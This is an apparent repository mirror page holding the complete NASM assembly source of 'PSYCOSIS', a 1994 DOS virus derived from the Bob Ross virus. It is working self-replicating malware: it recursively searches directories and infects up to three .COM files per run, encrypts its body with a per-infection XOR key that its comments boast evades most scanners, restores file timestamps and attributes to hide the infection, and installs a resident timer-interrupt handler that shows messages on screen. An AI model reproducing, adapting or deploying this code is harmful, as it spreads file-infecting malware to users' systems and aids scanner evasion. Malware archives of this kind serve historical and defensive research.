mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
567 lines
21 KiB
NASM
567 lines
21 KiB
NASM
|
; VirusName : PSYCOSIS
|
||
|
; Origin : Sweden
|
||
|
; Author : The Unforgiven
|
||
|
; Date : 03/01/94
|
||
|
|
||
|
; This is yet another mutation of the Bob Ross virus, written by Dark
|
||
|
; Angel of Phalcon/Skism in September 1991. In my last version of this
|
||
|
; virus, I excluded the encryption, and included some destructive code
|
||
|
; instead. In this one, I added a new encryption, and thereby it went
|
||
|
; undetectable by most of the scanners. Yes, Scan/FindViru/MSAV/CPAV,
|
||
|
; can't find it. F-prot doesn't founds a shit, but Tbscan's most
|
||
|
; heuristics scanner says that it "probably" is infected with some
|
||
|
; unknown virus. The "standard" heuristic gets some flags, but not
|
||
|
; enough to say that it's infected. Therefor I'd like to claim that
|
||
|
; the scanners sucks!
|
||
|
|
||
|
; I had thought to change much more in the code, for example the
|
||
|
; spreading routine. This virus will search the whole tree for
|
||
|
; files to infect, and becomes therefor pretty slow, and easily
|
||
|
; detected. But hell, it spreads!, Hm, 3 files each run!..
|
||
|
|
||
|
; It also contains a resident printing part, which under some
|
||
|
; specific conditions will print some messages, in the top of the
|
||
|
; screen. If you're afraid that you are infected with this virus,
|
||
|
; just set the date to 0606 any year, and wait for some minutes.
|
||
|
; If a sudden message shows up, delete your .COM file, which first
|
||
|
; character is an "&".
|
||
|
|
||
|
;=============================================================================
|
||
|
; **** PSYCOSIS ****
|
||
|
;=============================================================================
|
||
|
|
||
|
CODE SEGMENT PUBLIC 'CODE'
|
||
|
ORG 100h
|
||
|
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
|
||
|
|
||
|
DTA_fileattr EQU 21
|
||
|
DTA_filetime EQU 22
|
||
|
DTA_filedate EQU 24
|
||
|
DTA_filesize EQU 26
|
||
|
DTA_filename EQU 30
|
||
|
|
||
|
virus_marker equ 026FFh ; JMP WORD PTR
|
||
|
virus_marker2 equ 00104h ; 0104h
|
||
|
part1_size equ part1_end - part1_start
|
||
|
part2_size equ part2_end - part2_start
|
||
|
offset_off equ duh2
|
||
|
init_delay equ 5280 ; Initial delay
|
||
|
delay equ 400 ; Subsequent delay
|
||
|
num_Messages equ 7 ; Number of Bob messages
|
||
|
waves equ 7 ; Number of waves to go off after
|
||
|
infec_date equ 0606h ; Date of psychosis .(swedish national day).
|
||
|
|
||
|
Counter equ 108h
|
||
|
D_Mess equ 110h
|
||
|
Int_08_Start equ 112h
|
||
|
|
||
|
part1_start:
|
||
|
jmp word ptr duh
|
||
|
duh dw middle_part_end - part1_start + 100h
|
||
|
duh2 dw 0
|
||
|
part1_end:
|
||
|
|
||
|
middle_part_start:
|
||
|
middle_part_end:
|
||
|
|
||
|
;=============================================================================
|
||
|
;Part 2 begins: Dis is the D-Cool part
|
||
|
;=============================================================================
|
||
|
part2_start:
|
||
|
cld
|
||
|
call decrypt
|
||
|
mov si, offset Go
|
||
|
add si, offset_off
|
||
|
jmp si
|
||
|
|
||
|
;encrypt_val db 00h
|
||
|
encrypt_val dw 0
|
||
|
decrypt:
|
||
|
encrypt:
|
||
|
|
||
|
mov si, offset encrypt_val
|
||
|
add si, offset_off
|
||
|
mov ah, byte ptr [si]
|
||
|
|
||
|
mov cx, offset part2_end - offset bam_bam
|
||
|
add si, offset bam_bam - offset encrypt_val
|
||
|
mov di, si
|
||
|
call cheater
|
||
|
|
||
|
xor_loop:
|
||
|
lodsb ; DS:[SI] -> AL
|
||
|
xor al, ah
|
||
|
stosb
|
||
|
loop xor_loop
|
||
|
ret
|
||
|
cheater:
|
||
|
ret
|
||
|
|
||
|
copy_rest_stuff:
|
||
|
push si ; SI -> buffer3
|
||
|
call encrypt
|
||
|
mov cx, part2_size
|
||
|
pop dx
|
||
|
add dx, offset part2_start - offset buffer3
|
||
|
mov ah, 40h
|
||
|
int 21h
|
||
|
call decrypt
|
||
|
bam_bam:
|
||
|
ret
|
||
|
|
||
|
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||
|
buffer2 db part1_end - part1_start dup (?)
|
||
|
buffer3 dw ?
|
||
|
orig_path db 64 dup (?)
|
||
|
num_infec db 0 ; Infection wave number
|
||
|
infec_now db 0 ; Number files infected this time
|
||
|
root_dir db '\',0 ; root directory
|
||
|
com_mask db '*.com',0 ; files to infect
|
||
|
dir_mask db '*.*',0 ; files to search for
|
||
|
back_dir db '..',0 ; go "dot-dot".
|
||
|
nest dw 0
|
||
|
|
||
|
DTA db 43 DUP (0) ; For use by infect_dir
|
||
|
|
||
|
Go:
|
||
|
add si, offset buffer - offset Go
|
||
|
mov di, si
|
||
|
add di, offset buffer2 - offset buffer
|
||
|
mov cx, part1_size
|
||
|
rep movsb
|
||
|
|
||
|
mov ah, 47h ; Get directory
|
||
|
xor dl,dl ; Default drive
|
||
|
add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
|
||
|
int 21h ; in orig_path
|
||
|
jc Go_Error
|
||
|
|
||
|
mov ah, 3Bh ; Change directory
|
||
|
mov dx, si ; to the root dir
|
||
|
add dx, offset root_dir - offset orig_path
|
||
|
int 21h
|
||
|
jc Go_Error
|
||
|
|
||
|
add si, offset num_infec - offset orig_path
|
||
|
inc byte ptr [si] ; New infection wave
|
||
|
|
||
|
push si ; Save offset num_infec
|
||
|
|
||
|
add si, offset infec_now - offset num_infec
|
||
|
mov byte ptr [si], 3 ; Reset infection
|
||
|
; counter to 3
|
||
|
; for D-new run.
|
||
|
|
||
|
call traverse_fcn ; Do all the work
|
||
|
|
||
|
pop si ; Restore offset num_infec
|
||
|
cmp byte ptr [si], waves ; 10 infection waves?
|
||
|
jge Go_Psycho ; If so, activate
|
||
|
|
||
|
mov ah, 2Ah ; Get date
|
||
|
int 21h
|
||
|
cmp dx, infec_date ; Is it 07/09?
|
||
|
jz Go_Psycho ; If so, activate
|
||
|
Go_Error:
|
||
|
jmp quit ; And then quit
|
||
|
|
||
|
Go_Psycho:
|
||
|
jmp Psycho
|
||
|
|
||
|
origattr db 0
|
||
|
origtime dw 0
|
||
|
origdate dw 0
|
||
|
filesize dw 0 ; Size of the uninfected file
|
||
|
|
||
|
oldhandle dw 0
|
||
|
|
||
|
;=============================================================================
|
||
|
;D-Traversal function begins
|
||
|
;=============================================================================
|
||
|
traverse_fcn proc near
|
||
|
push bp ; Create stack frame
|
||
|
mov bp,sp
|
||
|
sub sp,44 ; Allocate space for DTA
|
||
|
push si
|
||
|
|
||
|
jmp infect_directory
|
||
|
In_fcn:
|
||
|
mov ah,1Ah ;Set DTA
|
||
|
lea dx,word ptr [bp-44] ; to space allotted
|
||
|
int 21h ;Do it now, do it hard!
|
||
|
|
||
|
mov ah, 4Eh ;Find first
|
||
|
mov cx,16 ;Directory mask
|
||
|
mov dx,offset dir_mask ; *.*
|
||
|
add dx,offset_off
|
||
|
int 21h
|
||
|
jmp short isdirok
|
||
|
gonow:
|
||
|
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
|
||
|
je short donext ; If so, loop again
|
||
|
lea dx,word ptr [bp-14] ;else load dirname
|
||
|
mov ah,3Bh ; and changedir there
|
||
|
int 21h ;Yup, yup
|
||
|
jc short donext ; Do next if invalid
|
||
|
mov si, offset nest ; Else increment nest
|
||
|
add si, offset_off
|
||
|
inc word ptr [si] ; nest++
|
||
|
call near ptr traverse_fcn ; recurse directory
|
||
|
donext:
|
||
|
lea dx,word ptr [bp-44] ;Load space allocated for DTA address
|
||
|
mov ah,1Ah ; and set DTA to it
|
||
|
int 21h ; 'cause it might have changed
|
||
|
|
||
|
mov ah,4Fh ;Find next
|
||
|
int 21h
|
||
|
isdirok:
|
||
|
jnc gonow ;If OK, jmp elsewhere
|
||
|
mov si, offset nest
|
||
|
add si, offset_off
|
||
|
cmp word ptr [si], 0 ;If root directory (nest == 0)
|
||
|
jle short cleanup ; Quit
|
||
|
dec word ptr [si] ;Else decrement nest
|
||
|
mov dx,offset back_dir ;'..'
|
||
|
add dx, offset_off
|
||
|
mov ah,3Bh ;Change directory
|
||
|
int 21h ; to previous one
|
||
|
cleanup:
|
||
|
pop si
|
||
|
mov sp,bp
|
||
|
pop bp
|
||
|
ret
|
||
|
traverse_fcn endp
|
||
|
;=============================================================================
|
||
|
;D-Traversal function ends
|
||
|
;=============================================================================
|
||
|
|
||
|
Goto_Error:
|
||
|
jmp Error
|
||
|
|
||
|
enuff_for_now:
|
||
|
;Set nest to nil
|
||
|
mov si, offset nest ; in order to
|
||
|
add si, offset_off ; halt the D-Cool
|
||
|
mov word ptr [si], 0 ; traversal fcn
|
||
|
jmp short cleanup
|
||
|
return_to_fcn:
|
||
|
jmp short In_fcn ;Return to traversal function
|
||
|
|
||
|
infect_directory:
|
||
|
mov ah, 1Ah ;Set DTA
|
||
|
mov dx, offset DTA ; to DTA struct
|
||
|
add dx, offset_off
|
||
|
int 21h
|
||
|
|
||
|
find_first_COM:
|
||
|
mov ah, 04Eh ; Find first file
|
||
|
mov cx, 0007h ; Any file
|
||
|
mov dx, offset com_mask ; DS:[DX] --> filemask
|
||
|
add dx, offset_off
|
||
|
int 21h ; Fill DTA (hopefully)
|
||
|
jc return_to_fcn ; <Sigh> Error #E421:0.1
|
||
|
jmp check_if_COM_infected ; I<___-Cool! Found one!
|
||
|
|
||
|
find_next_file2:
|
||
|
mov si, offset infec_now ; Another loop,
|
||
|
add si, offset_off ; Another infection
|
||
|
dec byte ptr [si] ; Infected three?
|
||
|
jz enuff_for_now ; If so, exit
|
||
|
find_next_file:
|
||
|
mov ah,4Fh ; Find next
|
||
|
int 21h
|
||
|
jc return_to_fcn
|
||
|
|
||
|
check_if_COM_infected:
|
||
|
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
|
||
|
add si, offset_off
|
||
|
cmp byte ptr [si], 'D' ; ??????D.COM?
|
||
|
jz find_next_file ; don't kill COMMAND.COM
|
||
|
|
||
|
mov ax,3D00h ; Open channel read ONLY
|
||
|
mov dx, si ; Offset Pathname in DX
|
||
|
sub dx, 6
|
||
|
int 21h ; Open NOW!
|
||
|
jc find_next_file ; If error, find another
|
||
|
|
||
|
xchg bx,ax ; bx is now handle
|
||
|
mov ah,3Fh ; Save
|
||
|
mov cx, part1_size ; first part
|
||
|
mov dx, offset buffer ; to buffer
|
||
|
add dx, offset_off ; to be restored
|
||
|
push dx
|
||
|
int 21h ; later
|
||
|
|
||
|
pop si ; Check for virus ID bytes
|
||
|
; in the buffer
|
||
|
push si
|
||
|
lodsw ; DS:[SI] -> AX
|
||
|
cmp ax, virus_marker ; Compare it
|
||
|
jnz infect_it ; infect it if ID #1 not found
|
||
|
|
||
|
lodsw ; Check next two bytes
|
||
|
cmp ax, virus_marker2 ; Compare it
|
||
|
jnz infect_it ; infect if ID #2 not found
|
||
|
pop si
|
||
|
bomb_out:
|
||
|
mov ah, 3Eh ; else close the file
|
||
|
int 21h ; and go find another
|
||
|
jmp find_next_file ; 'cuz it's already infected
|
||
|
|
||
|
Signature db '\\ Merry Xmas and a happy new year // '
|
||
|
db 'Sweden - Snowing Again'
|
||
|
;=============================================================================
|
||
|
;D-Good Stuff - Infection routine
|
||
|
;=============================================================================
|
||
|
infect_it:
|
||
|
; save fileattr
|
||
|
pop si
|
||
|
add si, offset DTA + DTA_fileattr - offset buffer
|
||
|
mov di, si
|
||
|
add di, offset origattr - offset DTA - DTA_fileattr
|
||
|
movsb ; DS:[SI] -> ES:[DI]
|
||
|
movsw ; Save origtime
|
||
|
movsw ; Save origdate
|
||
|
movsw ; Save filesize
|
||
|
; Only need LSW
|
||
|
; because COM files
|
||
|
; can only be up to
|
||
|
; 65535 bytes long
|
||
|
cmp word ptr [si - 2], part1_size
|
||
|
jl bomb_out ; is less than 8 bytes.
|
||
|
|
||
|
do_again:
|
||
|
mov ah, 2Ch ; get time
|
||
|
int 21h
|
||
|
add dl, dh ; 1/100 sec + 1 sec
|
||
|
jz do_again ; Don't want orig strain!
|
||
|
|
||
|
mov si, offset encrypt_val
|
||
|
add si, offset_off
|
||
|
mov byte ptr [si], dl ; 255 mutations
|
||
|
|
||
|
mov ax, 4301h ; Set file attributes
|
||
|
xor cx, cx ; to nothing
|
||
|
mov dx, si ; filename in DTA
|
||
|
add dx, offset DTA + DTA_filename - offset encrypt_val
|
||
|
int 21h ; do it now, my child
|
||
|
|
||
|
mov ah, 3Eh ; Close file
|
||
|
int 21h ; handle in BX
|
||
|
|
||
|
mov ax, 3D02h ; Open file read/write
|
||
|
int 21h ; Filename offset in DX
|
||
|
jc bomb_out ; Damn! Probs
|
||
|
|
||
|
mov di, dx
|
||
|
add di, offset oldhandle - offset DTA - DTA_filename
|
||
|
; copy filehandle to
|
||
|
; oldhandle
|
||
|
stosw ; AX -> ES:[DI]
|
||
|
xchg ax, bx ; file handle in BX now
|
||
|
|
||
|
mov ah, 40h ; Write DS:[DX]->file
|
||
|
mov cx, part1_size - 4 ; number of bytes
|
||
|
mov dx, 0100h ; where code starts
|
||
|
int 21h ; (in memory)
|
||
|
|
||
|
mov ah, 40h
|
||
|
mov si, di ; mov si, offset filesize
|
||
|
add si, offset filesize - 2 - offset oldhandle
|
||
|
add word ptr [si], 0100h
|
||
|
mov cx, 2
|
||
|
mov dx, si
|
||
|
int 21h ; write jmp offset
|
||
|
|
||
|
mov ax, [si] ; AX = filesize
|
||
|
sub ax, 0108h
|
||
|
|
||
|
add si, offset buffer3 - offset filesize
|
||
|
push si
|
||
|
mov word ptr [si], ax
|
||
|
mov ah, 40h
|
||
|
mov cx, 2
|
||
|
mov dx, si
|
||
|
int 21h
|
||
|
|
||
|
mov ax, 4202h ; move file ptr
|
||
|
xor cx, cx ; from EOF
|
||
|
xor dx, dx ; offset cx:dx
|
||
|
int 21h
|
||
|
|
||
|
call copy_rest_stuff
|
||
|
|
||
|
pop si
|
||
|
add si, offset oldhandle - offset buffer3
|
||
|
mov bx, word ptr [si]
|
||
|
mov ax, 5701h ; Restore
|
||
|
add si, offset origtime - offset oldhandle
|
||
|
mov cx, word ptr [si] ; old time and
|
||
|
add si, 2
|
||
|
mov dx, word ptr [si] ; date
|
||
|
int 21h
|
||
|
|
||
|
mov ah, 3Eh ; Close file
|
||
|
int 21h
|
||
|
|
||
|
mov ax, 4301h ; Restore file
|
||
|
xor ch, ch
|
||
|
add si, offset origattr - offset origtime - 2
|
||
|
mov cl, byte ptr [si] ; attributes
|
||
|
mov dx, si ; filename in DTA
|
||
|
add dx, offset DTA + DTA_filename - offset origattr
|
||
|
int 21h ; do it now
|
||
|
|
||
|
jmp find_next_file2
|
||
|
|
||
|
GotoError:
|
||
|
jmp error
|
||
|
|
||
|
Psycho:
|
||
|
|
||
|
push es
|
||
|
mov byte ptr cs:[100h],0 ; Initialize fingerprint
|
||
|
xor bx, bx ; Zero BX for start
|
||
|
mov ax, cs
|
||
|
Init1: inc bx ; Increment search segment
|
||
|
mov es, bx ; value
|
||
|
cmp ax, bx ; Not installed if we reach
|
||
|
je Not_Installed_Yet ; the current segment
|
||
|
mov si, 100h ; Search segment for
|
||
|
mov di, si ; fingerprint in first
|
||
|
mov cx, 4 ; four bytes
|
||
|
repe cmpsb ; Compare
|
||
|
jne init1 ; If not equal, try another
|
||
|
jmp Quit_Init ; else already installed
|
||
|
|
||
|
Not_Installed_Yet:
|
||
|
pop es
|
||
|
mov word ptr cs:[Counter], init_delay
|
||
|
mov word ptr cs:[D_Mess], 1
|
||
|
|
||
|
; Copy interrupt handler to beginning of code
|
||
|
mov si, offset _int_08_handler
|
||
|
add si, offset_off
|
||
|
mov di, Int_08_Start
|
||
|
mov cx, int_end - int_start
|
||
|
rep movsb ; DS:[SI]->ES:[DI]
|
||
|
|
||
|
mov ax, 3508h ; Get int 8 handler
|
||
|
int 21h ; put in ES:BX
|
||
|
|
||
|
mov cs:[duh], bx ; Save old handler
|
||
|
mov cs:[duh+2], es ; in cs:[104h]
|
||
|
|
||
|
mov ax, 2508h ; Install new handler
|
||
|
mov dx, Int_08_Start ; from DS:DX
|
||
|
int 21h ; Do it
|
||
|
|
||
|
push es
|
||
|
mov ax, ds:[2Ch] ; Deallocate program
|
||
|
mov es, ax ; environment block
|
||
|
mov ah, 49h
|
||
|
int 21h
|
||
|
pop es
|
||
|
|
||
|
mov ax, 3100h ; TSR
|
||
|
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
|
||
|
int 21h
|
||
|
int 20h ; In case of error
|
||
|
Quit_Init:
|
||
|
pop es
|
||
|
Error: ; On error, quit
|
||
|
Quit:
|
||
|
; if get drive, place it here (restore, and change to in the beginning).
|
||
|
mov ah, 3Bh ; Change directory
|
||
|
mov dx, offset root_dir ; to the root dir
|
||
|
add dx, offset_off
|
||
|
int 21h
|
||
|
|
||
|
mov ah,3Bh ; Change directory
|
||
|
; Return to orig dir
|
||
|
add dx, offset orig_path - offset root_dir
|
||
|
int 21h
|
||
|
|
||
|
; Copy buffer back to beginning of file
|
||
|
mov si, dx
|
||
|
add si, offset buffer2 - offset orig_path
|
||
|
mov di, 0100h
|
||
|
mov cx, part1_end - part1_start
|
||
|
rep movsb
|
||
|
|
||
|
mov di, 0100h
|
||
|
jmp di
|
||
|
int_start:
|
||
|
_int_08_handler proc far
|
||
|
push ax
|
||
|
push bx
|
||
|
push cx
|
||
|
push dx
|
||
|
push si
|
||
|
push ds
|
||
|
push es
|
||
|
pushf
|
||
|
dec word ptr CS:[Counter] ; Counter
|
||
|
jnz QuitNow
|
||
|
;ACTIVATION!!!
|
||
|
mov word ptr CS:[Counter], delay ; Reset counter
|
||
|
|
||
|
; Set up DS & ES to equal CS
|
||
|
push cs
|
||
|
pop ds
|
||
|
push cs
|
||
|
pop es
|
||
|
|
||
|
mov si, offset Messages - offset int_start + int_08_start
|
||
|
mov cx, cs:D_Mess
|
||
|
xor ah, ah
|
||
|
LoopY_ThingY:
|
||
|
lodsb ; DS:SI -> AL
|
||
|
add si, ax ; ES:BP -> Next message to display
|
||
|
loop LoopY_ThingY
|
||
|
|
||
|
lodsb
|
||
|
xchg si, bp
|
||
|
|
||
|
xor cx, cx
|
||
|
mov cl, al ; Length of string
|
||
|
mov ax, 1300h ;
|
||
|
mov bx, 0070h ; Page 0, inverse video
|
||
|
xor dx, dx ; (0,0)
|
||
|
int 10h ; Display ES:BP
|
||
|
inc word ptr cs:[D_Mess]
|
||
|
cmp word ptr cs:[D_Mess], num_messages
|
||
|
jnz Sigh
|
||
|
mov word ptr cs:[D_Mess], 1
|
||
|
|
||
|
Sigh: mov cx, 30h
|
||
|
Sigh2: push cx
|
||
|
mov cx, 0FFFFh
|
||
|
DelayX: loop DelayX
|
||
|
pop cx
|
||
|
loop Sigh2
|
||
|
xchg si, bp
|
||
|
QuitNow:
|
||
|
popf
|
||
|
pop es
|
||
|
pop ds
|
||
|
pop si
|
||
|
pop dx
|
||
|
pop cx
|
||
|
pop bx
|
||
|
pop ax
|
||
|
jmp dword ptr CS:duh
|
||
|
Messages db 0
|
||
|
db 15, 'Another year passed by'
|
||
|
db 21, 'Another tear the willows cry'
|
||
|
db 22, 'to change the world we ever try'
|
||
|
db 26, 'to make a difference before we die'
|
||
|
db 38, '[PSYCHOSIS] Greets, Phalcon/Skism.'
|
||
|
db 40, '(c) 93/94 The Unforgiven / Immortal Riot'
|
||
|
|
||
|
_int_08_handler endp
|
||
|
int_end:
|
||
|
part2_end:
|
||
|
|
||
|
CODE ends
|
||
|
end part1_start
|